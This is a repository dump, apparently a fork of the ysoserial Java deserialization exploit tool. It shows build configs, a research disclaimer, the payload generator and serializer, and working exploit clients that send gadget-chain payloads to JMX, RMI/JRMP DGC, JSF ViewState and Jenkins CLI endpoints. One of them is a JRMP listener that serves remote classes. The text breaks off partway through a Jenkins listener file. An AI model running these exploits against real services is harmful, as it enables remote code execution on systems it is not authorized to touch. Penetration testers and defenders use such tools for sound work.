├── .editorconfig ├── .gitignore ├── .travis.yml ├── DISCLAIMER.txt ├── Dockerfile ├── LICENSE.txt ├── README.md ├── appveyor.yml ├── assembly.xml ├── pom.xml ├── src ├── main │ └── java │ │ └── ysoserial │ │ ├── Deserializer.java │ │ ├── GeneratePayload.java │ │ ├── Serializer.java │ │ ├── Strings.java │ │ ├── exploit │ │ ├── JBoss.java │ │ ├── JMXInvokeMBean.java │ │ ├── JRMPClassLoadingListener.java │ │ ├── JRMPClient.java │ │ ├── JRMPListener.java │ │ ├── JSF.java │ │ ├── JenkinsCLI.java │ │ ├── JenkinsListener.java │ │ ├── JenkinsReverse.java │ │ └── RMIRegistryExploit.java │ │ ├── payloads │ │ ├── BeanShell1.java │ │ ├── C3P0.java │ │ ├── Clojure.java │ │ ├── CommonsBeanutils1.java │ │ ├── CommonsCollections1.java │ │ ├── CommonsCollections2.java │ │ ├── CommonsCollections3.java │ │ ├── CommonsCollections4.java │ │ ├── CommonsCollections5.java │ │ ├── CommonsCollections6.java │ │ ├── CommonsCollections7.java │ │ ├── CommonsCollectionsK1.java │ │ ├── CommonsCollectionsK1TomcatEcho.java │ │ ├── CommonsCollectionsK2.java │ │ ├── CommonsCollectionsK2TomcatEcho.java │ │ ├── CommonsCollectionsK3.java │ │ ├── CommonsCollectionsK4.java │ │ ├── DynamicDependencies.java │ │ ├── FileUpload1.java │ │ ├── Groovy1.java │ │ ├── Hibernate1.java │ │ ├── Hibernate2.java │ │ ├── JBossInterceptors1.java │ │ ├── JRMPClient.java │ │ ├── JRMPListener.java │ │ ├── JSON1.java │ │ ├── JavassistWeld1.java │ │ ├── Jdk7u21.java │ │ ├── Jdk8u20.java │ │ ├── Jython1.java │ │ ├── MozillaRhino1.java │ │ ├── MozillaRhino2.java │ │ ├── Myfaces1.java │ │ ├── Myfaces2.java │ │ ├── ObjectPayload.java │ │ ├── ROME.java │ │ ├── ReleaseableObjectPayload.java │ │ ├── Spring1.java │ │ ├── Spring2.java │ │ ├── URLDNS.java │ │ ├── Vaadin1.java │ │ ├── Wicket1.java │ │ ├── annotation │ │ │ ├── Authors.java │ │ │ ├── Dependencies.java │ │ │ └── PayloadTest.java │ │ └── util │ │ │ ├── ClassFiles.java │ │ │ ├── Gadgets.java │ │ │ ├── JavaVersion.java │ │ │ ├── PayloadRunner.java │ │ │ └── Reflections.java │ │ └── secmgr │ │ ├── DelegateSecurityManager.java │ │ └── ExecCheckingSecurityManager.java └── test │ └── java │ └── ysoserial │ ├── CiTest.java │ └── test │ ├── CustomDeserializer.java │ ├── CustomPayloadArgs.java │ ├── CustomTest.java │ ├── WrappedTest.java │ ├── exploit │ └── RMIRegistryExploitTest.java │ ├── payloads │ ├── CommandExecTest.java │ ├── FileUploadTest.java │ ├── JRMPReverseConnectSMTest.java │ ├── JRMPReverseConnectTest.java │ ├── MyfacesTest.java │ ├── PayloadsTest.java │ ├── RemoteClassLoadingTest.java │ └── TestHarnessTest.java │ └── util │ ├── Callables.java │ ├── Files.java │ ├── OS.java │ └── Throwables.java └── ysoserial.png /.editorconfig: -------------------------------------------------------------------------------- 1 | root = true 2 | 3 | [*] 4 | end_of_line = lf 5 | charset = utf-8 6 | trim_trailing_whitespace = true 7 | insert_final_newline = true 8 | indent_style = space 9 | indent_size = 4 10 | max_line_length = 120 11 | 12 | [*.{yml,yaml}] 13 | indent_size = 2 14 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # java 2 | *.class 3 | 4 | # mvn 5 | target/ 6 | 7 | # eclipse 8 | .classpath 9 | .project 10 | .settings/ 11 | 12 | # idea 13 | .idea/ 14 | *.iml 15 | 16 | # tests 17 | pwntest 18 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | dist: trusty 2 | language: java 3 | 4 | cache: 5 | directories: 6 | - $HOME/.m2 7 | - $HOME/.mvn/ 8 | 9 | # jdk6 requires workarounds https://github.com/travis-ci/travis-ci/issues/9713 10 | addons: 11 | apt: 12 | packages: 13 | - openjdk-6-jdk 14 | 15 | before_install: 16 | - > # install mvn 3.2.5 for use with java6 17 | which $HOME/.mvn/3.2.5/bin/mvn || mkdir -p $HOME/.mvn/3.2.5 && 18 | curl https://apache.osuosl.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz | 19 | tar xz -C $HOME/.mvn/3.2.5 --strip-components=1 20 | - if [ "$TRAVIS_JDK_VERSION" == "openjdk6" ]; then jdk_switcher use openjdk6; fi 21 | - mvn -v 22 | 23 | after_script: 24 | - > # print more detailed info about test results 25 | cat target/surefire-reports/TEST-ysoserial.test.payloads.PayloadsTest.xml | 26 | grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- -- 27 | 28 | matrix: 29 | allow_failures: 30 | - jdk: oraclejdk11 31 | - jdk: openjdk6 32 | - jdk: openjdk7 33 | - jdk: openjdk9 34 | - jdk: openjdk10 35 | - jdk: openjdk11 36 | include: 37 | #- jdk: oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884 38 | - jdk: oraclejdk8 39 | - jdk: oraclejdk11 40 | - jdk: openjdk6 41 | env: PATH=$HOME/.mvn/3.2.5/bin:$PATH 42 | - jdk: openjdk7 43 | - jdk: openjdk8 44 | - jdk: openjdk9 45 | - jdk: openjdk10 46 | - jdk: openjdk11 47 | 48 | 49 | -------------------------------------------------------------------------------- /DISCLAIMER.txt: -------------------------------------------------------------------------------- 1 | DISCLAIMER 2 | 3 | This software has been created purely for the purposes of academic research and 4 | for the development of effective defensive techniques, and is not intended to be 5 | used to attack systems except where explicitly authorized. Project maintainers 6 | are not responsible or liable for misuse of the software. Use responsibly. -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM maven:3.5-jdk-8 as builder 2 | 3 | WORKDIR /app 4 | 5 | # download artifacts 6 | COPY pom.xml . 7 | COPY assembly.xml . 8 | RUN mvn dependency:resolve 9 | RUN mvn verify 10 | RUN mvn compiler:help 11 | 12 | # build 13 | COPY src ./src 14 | RUN mvn clean package -DskipTests 15 | RUN mv target/ysoserial-*all*.jar target/ysoserial.jar 16 | 17 | FROM java:8-jdk-alpine 18 | 19 | WORKDIR /app 20 | 21 | COPY --from=builder /app/target/ysoserial.jar . 22 | 23 | ENTRYPOINT ["java", "-jar", "ysoserial.jar"] 24 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2013 Chris Frohoff 2 | 3 | MIT License 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining 6 | a copy of this software and associated documentation files (the 7 | "Software"), to deal in the Software without restriction, including 8 | without limitation the rights to use, copy, modify, merge, publish, 9 | distribute, sublicense, and/or sell copies of the Software, and to 10 | permit persons to whom the Software is furnished to do so, subject to 11 | the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be 14 | included in all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 19 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 20 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 21 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 22 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /appveyor.yml: -------------------------------------------------------------------------------- 1 | # based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml 2 | 3 | # build version 4 | version: '{build}' 5 | 6 | # Do not build on tags 7 | skip_tags: true 8 | 9 | # enviroment settings 10 | environment: 11 | matrix: 12 | - JAVA_HOME: C:\Program Files\Java\jdk1.6.0 13 | M2_HOME: C:\bin\apache-maven-3.2.5 14 | - JAVA_HOME: C:\Program Files\Java\jdk1.7.0 15 | MAVEN_OPTS: -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 16 | - JAVA_HOME: C:\Program Files\Java\jdk1.8.0 17 | 18 | matrix: 19 | allow_failures: 20 | - JAVA_HOME: C:\Program Files\Java\jdk1.6.0 21 | - JAVA_HOME: C:\Program Files\Java\jdk1.7.0 22 | 23 | # install required tools (maven, secure-file, encrypted files) 24 | install: 25 | - cmd: if not exist "C:\bin\apache-maven-3.2.5\bin\*.*" cinst maven --version 3.2.5 --allow-empty-checksums 26 | - cmd: echo %JAVA_HOME% 27 | - cmd: echo %M2_HOME% 28 | 29 | # build and install artifacts 30 | build_script: 31 | - '"%M2_HOME%\bin\mvn" clean install -DskipTests' 32 | 33 | # verify artifacts 34 | test_script: 35 | - '"%M2_HOME%\bin\mvn" test' 36 | 37 | # preserve dependencies between builds 38 | cache: 39 | - C:\Users\appveyor\.m2 40 | - C:\bin\apache-maven-3.2.5 41 | -------------------------------------------------------------------------------- /assembly.xml: -------------------------------------------------------------------------------- 1 | 5 | fat-tests 6 | 7 | jar 8 | 9 | false 10 | 11 | 12 | / 13 | true 14 | true 15 | test 16 | 17 | 18 | 19 | 20 | ${project.build.directory}/test-classes 21 | / 22 | 23 | **/*.class 24 | 25 | true 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/Deserializer.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.File; 5 | import java.io.FileInputStream; 6 | import java.io.IOException; 7 | import java.io.InputStream; 8 | import java.io.ObjectInputStream; 9 | import java.util.concurrent.Callable; 10 | 11 | public class Deserializer implements Callable { 12 | private final byte[] bytes; 13 | 14 | public Deserializer(byte[] bytes) { this.bytes = bytes; } 15 | 16 | public Object call() throws Exception { 17 | return deserialize(bytes); 18 | } 19 | 20 | public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { 21 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized); 22 | return deserialize(in); 23 | } 24 | 25 | public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { 26 | final ObjectInputStream objIn = new ObjectInputStream(in); 27 | return objIn.readObject(); 28 | } 29 | 30 | public static void main(String[] args) throws ClassNotFoundException, IOException { 31 | final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); 32 | Object object = deserialize(in); 33 | } 34 | } -------------------------------------------------------------------------------- /src/main/java/ysoserial/GeneratePayload.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.io.PrintStream; 4 | import java.util.*; 5 | 6 | import ysoserial.payloads.ObjectPayload; 7 | import ysoserial.payloads.ObjectPayload.Utils; 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | 11 | @SuppressWarnings("rawtypes") 12 | public class GeneratePayload { 13 | private static final int INTERNAL_ERROR_CODE = 70; 14 | private static final int USAGE_CODE = 64; 15 | 16 | public static void main(final String[] args) { 17 | if (args.length != 2) { 18 | printUsage(); 19 | System.exit(USAGE_CODE); 20 | } 21 | final String payloadType = args[0]; 22 | final String command = args[1]; 23 | 24 | final Class payloadClass = Utils.getPayloadClass(payloadType); 25 | if (payloadClass == null) { 26 | System.err.println("Invalid payload type '" + payloadType + "'"); 27 | printUsage(); 28 | System.exit(USAGE_CODE); 29 | return; // make null analysis happy 30 | } 31 | 32 | try { 33 | final ObjectPayload payload = payloadClass.newInstance(); 34 | final Object object = payload.getObject(command); 35 | PrintStream out = System.out; 36 | Serializer.serialize(object, out); 37 | ObjectPayload.Utils.releasePayload(payload, object); 38 | } catch (Throwable e) { 39 | System.err.println("Error while generating or serializing payload"); 40 | e.printStackTrace(); 41 | System.exit(INTERNAL_ERROR_CODE); 42 | } 43 | System.exit(0); 44 | } 45 | 46 | private static void printUsage() { 47 | System.err.println("Y SO SERIAL?"); 48 | System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'"); 49 | System.err.println(" Available payload types:"); 50 | 51 | final List> payloadClasses = 52 | new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); 53 | Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize 54 | 55 | final List rows = new LinkedList(); 56 | rows.add(new String[] {"Payload", "Authors", "Dependencies"}); 57 | rows.add(new String[] {"-------", "-------", "------------"}); 58 | for (Class payloadClass : payloadClasses) { 59 | rows.add(new String[] { 60 | payloadClass.getSimpleName(), 61 | Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), 62 | Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "") 63 | }); 64 | } 65 | 66 | final List lines = Strings.formatTable(rows); 67 | 68 | for (String line : lines) { 69 | System.err.println(" " + line); 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/Serializer.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.ObjectOutputStream; 6 | import java.io.OutputStream; 7 | import java.util.concurrent.Callable; 8 | 9 | public class Serializer implements Callable { 10 | private final Object object; 11 | public Serializer(Object object) { 12 | this.object = object; 13 | } 14 | 15 | public byte[] call() throws Exception { 16 | return serialize(object); 17 | } 18 | 19 | public static byte[] serialize(final Object obj) throws IOException { 20 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 21 | serialize(obj, out); 22 | return out.toByteArray(); 23 | } 24 | 25 | public static void serialize(final Object obj, final OutputStream out) throws IOException { 26 | if (obj instanceof byte[]) { 27 | // to be compatible with JDK8u20 28 | byte[] bytescodes = (byte[])obj; 29 | if (bytescodes.length > 2 && bytescodes[0] == (byte)0xac && bytescodes[1] == (byte)0xed) { 30 | out.write(bytescodes); 31 | return; 32 | } 33 | } 34 | final ObjectOutputStream objOut = new ObjectOutputStream(out); 35 | objOut.writeObject(obj); 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/Strings.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import org.apache.commons.lang.StringUtils; 4 | 5 | import java.util.Arrays; 6 | import java.util.Comparator; 7 | import java.util.LinkedList; 8 | import java.util.List; 9 | 10 | public class Strings { 11 | public static String join(Iterable strings, String sep, String prefix, String suffix) { 12 | final StringBuilder sb = new StringBuilder(); 13 | boolean first = true; 14 | for (String s : strings) { 15 | if (! first) sb.append(sep); 16 | if (prefix != null) sb.append(prefix); 17 | sb.append(s); 18 | if (suffix != null) sb.append(suffix); 19 | first = false; 20 | } 21 | return sb.toString(); 22 | } 23 | 24 | public static String repeat(String str, int num) { 25 | final String[] strs = new String[num]; 26 | Arrays.fill(strs, str); 27 | return join(Arrays.asList(strs), "", "", ""); 28 | } 29 | 30 | public static List formatTable(List rows) { 31 | final Integer[] maxLengths = new Integer[rows.get(0).length]; 32 | for (String[] row : rows) { 33 | if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns"); 34 | for (int i = 0; i < maxLengths.length; i++) { 35 | if (maxLengths[i] == null || maxLengths[i] < row[i].length()) { 36 | maxLengths[i] = row[i].length(); 37 | } 38 | } 39 | } 40 | 41 | final List lines = new LinkedList(); 42 | for (String[] row : rows) { 43 | for (int i = 0; i < maxLengths.length; i++) { 44 | final String pad = repeat(" ", maxLengths[i] - row[i].length()); 45 | row[i] = row[i] + pad; 46 | } 47 | lines.add(join(Arrays.asList(row), " ", "", "")); 48 | } 49 | return lines; 50 | } 51 | 52 | public static class ToStringComparator implements Comparator { 53 | public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JMXInvokeMBean.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | import javax.management.MBeanServerConnection; 4 | import javax.management.ObjectName; 5 | import javax.management.remote.JMXConnector; 6 | import javax.management.remote.JMXConnectorFactory; 7 | import javax.management.remote.JMXServiceURL; 8 | 9 | import ysoserial.payloads.ObjectPayload.Utils; 10 | 11 | /* 12 | * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. 13 | * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. 14 | * 15 | */ 16 | public class JMXInvokeMBean { 17 | 18 | public static void main(String[] args) throws Exception { 19 | 20 | if ( args.length < 4 ) { 21 | System.err.println(JMXInvokeMBean.class.getName() + " "); 22 | System.exit(-1); 23 | } 24 | 25 | JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); 26 | 27 | JMXConnector jmxConnector = JMXConnectorFactory.connect(url); 28 | MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); 29 | 30 | // create the payload 31 | Object payloadObject = Utils.makePayloadObject(args[2], args[3]); 32 | ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); 33 | 34 | mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); 35 | 36 | //close the connection 37 | jmxConnector.close(); 38 | } 39 | } -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | 4 | 5 | import java.net.URL; 6 | 7 | 8 | /** 9 | * JRMP listener triggering RMI remote classloading 10 | * 11 | * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. 12 | * 13 | * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need 14 | * access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}. 15 | * 16 | * This only works if 17 | * - the remote end is running with a security manager 18 | * - java.rmi.server.useCodebaseOnly=false (default until 7u21) 19 | * - the remote has the proper permissions to remotely load the class (mostly URLPermission) 20 | * 21 | * and, of course, the payload class is then run under the security manager with a remote codebase 22 | * so either the policy needs to allow whatever you want to do in the payload or you need to combine 23 | * with a security manager bypass exploit (wouldn't be the first time). 24 | * 25 | * @author mbechler 26 | * 27 | */ 28 | public class JRMPClassLoadingListener { 29 | 30 | public static final void main ( final String[] args ) { 31 | 32 | if ( args.length < 3 ) { 33 | System.err.println(JRMPClassLoadingListener.class.getName() + " "); 34 | System.exit(-1); 35 | return; 36 | } 37 | 38 | try { 39 | int port = Integer.parseInt(args[ 0 ]); 40 | System.err.println("* Opening JRMP listener on " + port); 41 | JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); 42 | c.run(); 43 | } 44 | catch ( Exception e ) { 45 | System.err.println("Listener error"); 46 | e.printStackTrace(System.err); 47 | } 48 | } 49 | 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JRMPClient.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | 4 | import java.io.DataOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectOutputStream; 7 | import java.io.OutputStream; 8 | import java.net.InetSocketAddress; 9 | import java.net.Socket; 10 | import java.net.SocketException; 11 | import java.net.URL; 12 | import java.net.URLClassLoader; 13 | import java.net.UnknownHostException; 14 | 15 | import javax.net.SocketFactory; 16 | 17 | import sun.rmi.transport.TransportConstants; 18 | import ysoserial.payloads.ObjectPayload.Utils; 19 | 20 | 21 | /** 22 | * Generic JRMP client 23 | * 24 | * Pretty much the same thing as {@link RMIRegistryExploit} but 25 | * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) 26 | * - not deserializing anything (so you don't get yourself exploited ;)) 27 | * 28 | * @author mbechler 29 | * 30 | */ 31 | @SuppressWarnings ( { 32 | "restriction" 33 | } ) 34 | public class JRMPClient { 35 | 36 | public static final void main ( final String[] args ) { 37 | if ( args.length < 4 ) { 38 | System.err.println(JRMPClient.class.getName() + " "); 39 | System.exit(-1); 40 | } 41 | 42 | Object payloadObject = Utils.makePayloadObject(args[2], args[3]); 43 | String hostname = args[ 0 ]; 44 | int port = Integer.parseInt(args[ 1 ]); 45 | try { 46 | System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); 47 | makeDGCCall(hostname, port, payloadObject); 48 | } 49 | catch ( Exception e ) { 50 | e.printStackTrace(System.err); 51 | } 52 | Utils.releasePayload(args[2], payloadObject); 53 | } 54 | 55 | public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { 56 | InetSocketAddress isa = new InetSocketAddress(hostname, port); 57 | Socket s = null; 58 | DataOutputStream dos = null; 59 | try { 60 | s = SocketFactory.getDefault().createSocket(hostname, port); 61 | s.setKeepAlive(true); 62 | s.setTcpNoDelay(true); 63 | 64 | OutputStream os = s.getOutputStream(); 65 | dos = new DataOutputStream(os); 66 | 67 | dos.writeInt(TransportConstants.Magic); 68 | dos.writeShort(TransportConstants.Version); 69 | dos.writeByte(TransportConstants.SingleOpProtocol); 70 | 71 | dos.write(TransportConstants.Call); 72 | 73 | @SuppressWarnings ( "resource" ) 74 | final ObjectOutputStream objOut = new MarshalOutputStream(dos); 75 | 76 | objOut.writeLong(2); // DGC 77 | objOut.writeInt(0); 78 | objOut.writeLong(0); 79 | objOut.writeShort(0); 80 | 81 | objOut.writeInt(1); // dirty 82 | objOut.writeLong(-669196253586618813L); 83 | 84 | objOut.writeObject(payloadObject); 85 | 86 | os.flush(); 87 | } 88 | finally { 89 | if ( dos != null ) { 90 | dos.close(); 91 | } 92 | if ( s != null ) { 93 | s.close(); 94 | } 95 | } 96 | } 97 | 98 | static final class MarshalOutputStream extends ObjectOutputStream { 99 | 100 | 101 | private URL sendUrl; 102 | 103 | public MarshalOutputStream (OutputStream out, URL u) throws IOException { 104 | super(out); 105 | this.sendUrl = u; 106 | } 107 | 108 | MarshalOutputStream ( OutputStream out ) throws IOException { 109 | super(out); 110 | } 111 | 112 | @Override 113 | protected void annotateClass ( Class cl ) throws IOException { 114 | if ( this.sendUrl != null ) { 115 | writeObject(this.sendUrl.toString()); 116 | } else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { 117 | writeObject(null); 118 | } 119 | else { 120 | URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); 121 | String cb = ""; 122 | 123 | for ( URL u : us ) { 124 | cb += u.toString(); 125 | } 126 | writeObject(cb); 127 | } 128 | } 129 | 130 | 131 | /** 132 | * Serializes a location from which to load the specified class. 133 | */ 134 | @Override 135 | protected void annotateProxyClass ( Class cl ) throws IOException { 136 | annotateClass(cl); 137 | } 138 | } 139 | 140 | 141 | } 142 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JSF.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.ObjectOutputStream; 6 | import java.io.OutputStream; 7 | import java.net.HttpURLConnection; 8 | import java.net.URL; 9 | import java.net.URLConnection; 10 | import java.net.URLEncoder; 11 | 12 | import org.apache.commons.codec.binary.Base64; 13 | 14 | import ysoserial.payloads.ObjectPayload.Utils; 15 | 16 | 17 | /** 18 | * JSF view state exploit 19 | * 20 | * Delivers a gadget payload via JSF ViewState token. 21 | * 22 | * This will only work if ViewState encryption/mac is disabled. 23 | * 24 | * While it has been long known that client side state saving 25 | * with encryption disabled leads to RCE via EL injection, 26 | * this of course also works with deserialization gadgets. 27 | * 28 | * Also, it turns out that MyFaces is vulnerable to this even when 29 | * using server-side state saving 30 | * (yes, please, let's (de-)serialize a String as an Object). 31 | * 32 | * @author mbechler 33 | * 34 | */ 35 | public class JSF { 36 | 37 | public static void main ( String[] args ) { 38 | 39 | if ( args.length < 3 ) { 40 | System.err.println(JSF.class.getName() + " "); 41 | System.exit(-1); 42 | } 43 | 44 | final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); 45 | 46 | try { 47 | URL u = new URL(args[ 0 ]); 48 | 49 | URLConnection c = u.openConnection(); 50 | if ( ! ( c instanceof HttpURLConnection ) ) { 51 | throw new IllegalArgumentException("Not a HTTP url"); 52 | } 53 | 54 | HttpURLConnection hc = (HttpURLConnection) c; 55 | hc.setDoOutput(true); 56 | hc.setRequestMethod("POST"); 57 | hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 58 | OutputStream os = hc.getOutputStream(); 59 | 60 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 61 | ObjectOutputStream oos = new ObjectOutputStream(bos); 62 | oos.writeObject(payloadObject); 63 | oos.close(); 64 | byte[] data = bos.toByteArray(); 65 | String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); 66 | os.write(requestBody.getBytes("US-ASCII")); 67 | os.close(); 68 | 69 | System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); 70 | } 71 | catch ( Exception e ) { 72 | e.printStackTrace(System.err); 73 | } 74 | Utils.releasePayload(args[1], payloadObject); 75 | 76 | } 77 | 78 | 79 | 80 | } 81 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JenkinsCLI.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | import java.io.DataOutputStream; 4 | import java.io.IOException; 5 | import java.io.OutputStream; 6 | import java.lang.reflect.Constructor; 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.lang.reflect.Method; 9 | import java.net.HttpURLConnection; 10 | import java.net.InetSocketAddress; 11 | import java.net.MalformedURLException; 12 | import java.net.Socket; 13 | import java.net.SocketException; 14 | import java.net.URL; 15 | import java.net.URLConnection; 16 | import java.util.concurrent.ExecutorService; 17 | import java.util.concurrent.Executors; 18 | import java.util.concurrent.ThreadFactory; 19 | 20 | import javax.net.SocketFactory; 21 | 22 | import hudson.remoting.Callable; 23 | import hudson.remoting.Channel; 24 | import hudson.remoting.Channel.Mode; 25 | import hudson.remoting.ChannelBuilder; 26 | import ysoserial.payloads.ObjectPayload.Utils; 27 | import ysoserial.payloads.util.Reflections; 28 | 29 | /** 30 | * Jenkins CLI client 31 | * 32 | * Jenkins unfortunately is still using a custom serialization based 33 | * protocol for remote communications only protected by a blacklisting 34 | * application level filter. 35 | * 36 | * This is a generic client delivering a gadget chain payload via that protocol. 37 | * 38 | * @author mbechler 39 | * 40 | */ 41 | public class JenkinsCLI { 42 | public static final void main ( final String[] args ) { 43 | if ( args.length < 3 ) { 44 | System.err.println(JenkinsCLI.class.getName() + " "); 45 | System.exit(-1); 46 | } 47 | 48 | final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); 49 | 50 | String jenkinsUrl = args[ 0 ]; 51 | Channel c = null; 52 | try { 53 | InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); 54 | c = JenkinsCLI.openChannel(isa); 55 | c.call(getPropertyCallable(payloadObject)); 56 | } 57 | catch ( Throwable e ) { 58 | e.printStackTrace(); 59 | } 60 | finally { 61 | if ( c != null ) { 62 | try { 63 | c.close(); 64 | } 65 | catch ( IOException e ) { 66 | e.printStackTrace(System.err); 67 | } 68 | } 69 | } 70 | Utils.releasePayload(args[1], payloadObject); 71 | } 72 | 73 | public static Callable getPropertyCallable ( final Object prop ) 74 | throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 75 | Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); 76 | Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); 77 | Reflections.setAccessible(reqCons); 78 | Object getJarLoader = reqCons 79 | .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { 80 | prop 81 | }); 82 | return (Callable) getJarLoader; 83 | } 84 | 85 | public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException { 86 | URL u = new URL(jenkinsUrl); 87 | 88 | URLConnection conn = u.openConnection(); 89 | if ( ! ( conn instanceof HttpURLConnection ) ) { 90 | System.err.println("Not a HTTP URL"); 91 | throw new MalformedURLException(); 92 | } 93 | 94 | HttpURLConnection hc = (HttpURLConnection) conn; 95 | if ( hc.getResponseCode() >= 400 ) { 96 | System.err.println("* Error connection to jenkins HTTP " + u); 97 | } 98 | int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); 99 | 100 | return new InetSocketAddress(u.getHost(), clip); 101 | } 102 | 103 | public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException { 104 | System.err.println("* Opening socket " + isa); 105 | Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); 106 | s.setKeepAlive(true); 107 | s.setTcpNoDelay(true); 108 | 109 | System.err.println("* Opening channel"); 110 | OutputStream outputStream = s.getOutputStream(); 111 | DataOutputStream dos = new DataOutputStream(outputStream); 112 | dos.writeUTF("Protocol:CLI-connect"); 113 | ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { 114 | 115 | public Thread newThread ( Runnable r ) { 116 | Thread t = new Thread(r, "Channel"); 117 | t.setDaemon(true); 118 | return t; 119 | } 120 | }); 121 | Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); 122 | System.err.println("* Channel open"); 123 | return c; 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/JenkinsListener.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | 4 | import java.io.DataOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectOutputStream; 7 | import java.io.OutputStream; 8 | import 